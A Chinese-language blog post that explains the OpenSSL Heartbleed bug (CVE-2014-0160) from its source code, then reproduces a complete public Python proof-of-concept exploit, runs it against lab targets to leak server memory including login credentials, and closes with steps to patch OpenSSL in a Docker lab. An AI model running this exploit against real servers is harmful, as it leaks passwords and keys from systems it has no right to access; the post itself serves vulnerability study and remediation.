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openssl-heartbleed漏洞利用与修复

openssl-heartbleed漏洞利用与修复

作者: vampire_hunter | 来源:发表于2019-08-22 21:08 被阅读0次

    Heartbleed漏洞简介

    Heartbleed漏洞是openssl的漏洞,这个漏洞(CVE-2014-0160)的产生是由于没有在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存中,这样一来受害者的内存内容就会以每次64K的速度进行泄露。

    心跳功能介绍

    正常情况下要使SSL发挥作用,需要与服务器进行通信,所以它会发送一个“heartbeat”(心跳)包,通过包内的特定信号,进行判断服务器是否存活,服务器就会向计算机返回该信号,让服务器确保安全通信。而且计算机和服务器之间会定期发送hearbeat以确定用户和服务器没有脱机。

    漏洞原理

    该漏洞主要问题出在heartbeat心跳检测的扩展中,在源码d1_both.c中,找到如下代码

    #ifndef OPENSSL_NO_HEARTBEATS
    int dtls1_process_heartbeat(SSL *s)
    {
    unsigned char *p = &s->s3->rrec.data[0], *pl;
    unsigned short hbtype;
    unsigned int payload;
    unsigned int padding = 16;
    

    指针p指向一条SSLv3结构体中的数据,结构体SSL3_RECORD的定义如下:
    代码段1

    typedef struct ssl3_record_st
    {
           int type;
           unsigned int length;
           unsigned int off;
           unsigned char *data;
           unsigned char *input;
           unsigned char *comp;
           unsigned long epoch;
           unsigned char seq_num[8];
    } SSL3_RECORD;
    

    其中type为心跳包的类型,length为数据长度,data为数据正文

    代码段2

    hbtype = *p++;
    n2s(p, payload);
    pl = p;
    

    首先获取type的心跳包的类型,类型有两种TLS1_HB_REQUEST和TLS1_HB_RESPONSE,然后使用宏n2s从指针p指向的数组中取出前两个字节,并把它们存入变量payload中,最后将变量pl指向由访问者提供的心跳包数据。

    代码段3

    if (hbtype == TLS1_REQUEST)
    {
        unsigned char *buffer, *bp;
        int r;
        
        buffer = OPENSSL_malloc(1 + 2 + payload + padding);
        bp = buffer;
        .....
        .....
    }
    

    该代码可以分配一段由访问者指定大小的内存区域,这段空间最大为(1 + 2 + 65535 + 16)个字节,bp用来访问新分配的内存区域。

    代码段4

    *bp++ = TLS1_HB_RESPONSE;
    s2n(payload, bp);
    memcpy(bp, pl, payload);
    bp += payload;
    

    其中宏s2n与宏n2s干的事情刚好相反:
    s2n读入一个16 bit长的值,然后将它存成双字节值,所以s2n会将与请求的心跳包载荷长度相同的长度值存入变量payload。然后程序将pl以payload为大小的长度,复制到bp中。

    漏洞主要因为用户可控制变量payload和pl。该变量直接影响到了memcpy函数,导致如果用户并没有在心跳包中给足够多的数据,比如pl指向的数据只有一个字节,memcpy会将这条SSLv3后面的数据以payload为长度,复制出来(无论是什么数据)。

    漏洞利用

    利用脚本
    #!/usr/bin/python
    
    # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
    # The author disclaims copyright to this source code.
    
    import sys
    import struct
    import socket
    import time
    import select
    import re
    from optparse import OptionParser
    
    options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
    options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
    
    def h2bin(x):
        return x.replace(' ', '').replace('\n', '').decode('hex')
    
    hello = h2bin('''
    16 03 02 00  dc 01 00 00 d8 03 02 53
    43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
    bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
    00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
    00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
    c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
    c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
    c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
    c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
    00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
    03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
    00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
    00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
    00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
    00 0f 00 01 01                                  
    ''')
    
    hb = h2bin(''' 
    18 03 02 00 03
    01 40 00
    ''')
    
    def hexdump(s):
        for b in xrange(0, len(s), 16):
            lin = [c for c in s[b : b + 16]]
            hxdat = ' '.join('%02X' % ord(c) for c in lin)
            pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
            print '  %04x: %-48s %s' % (b, hxdat, pdat)
        print
    
    def recvall(s, length, timeout=5):
        endtime = time.time() + timeout
        rdata = ''
        remain = length
        while remain > 0:
            rtime = endtime - time.time() 
            if rtime < 0:
                return None
            r, w, e = select.select([s], [], [], 5)
            if s in r:
                data = s.recv(remain)
                # EOF?
                if not data:
                    return None
                rdata += data
                remain -= len(data)
        return rdata
            
    
    def recvmsg(s):
        hdr = recvall(s, 5)
        if hdr is None:
            print 'Unexpected EOF receiving record header - server closed connection'
            return None, None, None
        typ, ver, ln = struct.unpack('>BHH', hdr)
        pay = recvall(s, ln, 10)
        if pay is None:
            print 'Unexpected EOF receiving record payload - server closed connection'
            return None, None, None
        print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
        return typ, ver, pay
    
    def hit_hb(s):
        s.send(hb)
        while True:
            typ, ver, pay = recvmsg(s)
            if typ is None:
                print 'No heartbeat response received, server likely not vulnerable'
                return False
    
            if typ == 24:
                print 'Received heartbeat response:'
                hexdump(pay)
                if len(pay) > 3:
                    print 'WARNING: server returned more data than it should - server is vulnerable!'
                else:
                    print 'Server processed malformed heartbeat, but did not return any extra data.'
                return True
    
            if typ == 21:
                print 'Received alert:'
                hexdump(pay)
                print 'Server returned error, likely not vulnerable'
                return False
    
    def main():
        opts, args = options.parse_args()
        if len(args) < 1:
            options.print_help()
            return
    
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print 'Connecting...'
        sys.stdout.flush()
        s.connect((args[0], opts.port))
        print 'Sending Client Hello...'
        sys.stdout.flush()
        s.send(hello)
        print 'Waiting for Server Hello...'
        sys.stdout.flush()
        while True:
            typ, ver, pay = recvmsg(s)
            if typ == None:
                print 'Server closed connection without sending Server Hello.'
                return
            # Look for server hello done message.
            if typ == 22 and ord(pay[0]) == 0x0E:
                break
    
        print 'Sending heartbeat request...'
        sys.stdout.flush()
        s.send(hb)
        hit_hb(s)
    
    if __name__ == '__main__':
        main()
    
    执行结果

    执行一下利用脚本

    利用脚本

    查看脚本利用方法,看到提示,脚本名称后接靶机地址,然后指定靶机端口即可,由于64Kb内存信息较大,我们使用重定向功能将执行结果保存到txt当中,执行代码如下

    python ssltest.py 1.1.1.1 -p 443 > test.txt
    

    访问靶机地址
    https://10.1.1.136 进行登陆,如下图

    登录网站

    靶机使用的是合天网安实验室提供的环境

    执行利用脚本

    执行脚本

    获取到内存的结果如下

    内存中的数据

    得到用户名密码,真实环境可能会获取到更多的敏感信息。

    漏洞修复

    这里使用的是docker搭建的靶机,靶机GitHub地址为
    https://github.com/Medicean/VulApps

    使用命令运行靶机

    拉取镜像
    docker pull medicean/vulapps:o_openssl_heartbleed
    启动环境
    docker run -d -p 443:443 medicean/vulapps:o_openssl_heartbleed
    查看docker运行情况
    docker container ls
    
    漏洞环境

    访问靶机地址
    https://10.10.10.128

    访问靶机

    运行漏洞利用脚本测试,查看使用方法

    脚本运行参数

    使用命令进行测试

    python opensslpoc.py -d 10.10.10.128 -p 443 > 1.txt
    指定地址和端口号,将抓取的内存信息重定向到1.txt中
    
    内存信息

    证明存在漏洞

    我们尝试修复漏洞
    使用命令进入docker靶机命令行

    docker container exec -it  agitated_agnesi /bin/bash
    
    进入靶场shell环境

    查看openssl版本

    查看版本

    下载新版本openssl安装文件

    wget https://www.openssl.org/source/openssl-x.x.x.tar.gz
    
    下载新版openssl

    解压安装包

    tar zxvf openssl-x.x.x.tar.gz
    

    执行命令

    cd openssl-x.x.x
    ./config
    make
    make install
    

    安装成功之后
    执行以下命令

    mv /usr/bin/openssl /usr/bin/openssl.bak
    ln -s /usr/local/bin/openssl /usr/bin/openssl
    ln -s /usr/local/include/openssl /usr/include/openssl
    echo "/usr/local/lib" >> /etc/ld.so.conf
    
    创建新的软链接

    测试

    openssl version
    
    运行报错

    出现上图提示,执行如下命令

    cp /usr/local/lib/libssl.so.1.1 /usr/lib/
    cp /usr/local/lib/libcrypto.so.1.1 /usr/lib/
    
    拷贝文件

    执行命令测试

    openssl version
    
    查看版本

    更新成功
    如果验证还是存在漏洞,需要更新一下libssl
    这里使用apt进行更新

    apt-get install libssl-dev
    

    重启Apache服务

    /etc/init.d/apache2 restart
    
    重启服务

    验证修复完成

    修复验证

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